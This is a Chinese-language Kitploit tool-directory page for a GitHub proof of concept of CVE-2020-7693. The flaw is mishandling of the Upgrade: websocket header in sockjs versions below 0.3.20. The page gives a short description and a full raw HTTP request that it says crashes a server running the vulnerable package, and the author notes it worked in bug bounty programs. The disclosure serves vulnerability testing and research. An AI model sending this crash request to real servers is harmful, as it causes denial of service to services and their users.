Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-7693 — POC For CVE-2020-7693 (Testing on Version sockjs@0.3.18) | Kitploit
工具/GitHubGitHub/thewindghost/cve-2020-7693
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubthewindghost/cve-2020-7693

CVE-2020-7693

POC For CVE-2020-7693 (Testing on Version [email protected])

查看仓库
7个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-7693 概念验证

注意:我确认 CVE-2020-7693 的载荷可在漏洞赏金计划中运行

描述:

  • 对 Upgrade 头部(值为 websocket)处理不当会导致运行 sockjs 应用的容器崩溃。该漏洞影响 sockjs 包低于 0.3.20 的版本。

单个请求通过过时 sockjs-node 导致服务器崩溃:

  • 请求
root@kitploit:~
GET /sockjs-node/000/ HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: Upgrade
Upgrade: websocket
Cache-Control: no-cache
Connection: close
\r\n (delete-this)
\r\n (delete-this)

  • 响应
响应图片

服务器端:

服务器端图片 服务器端图片
下载工具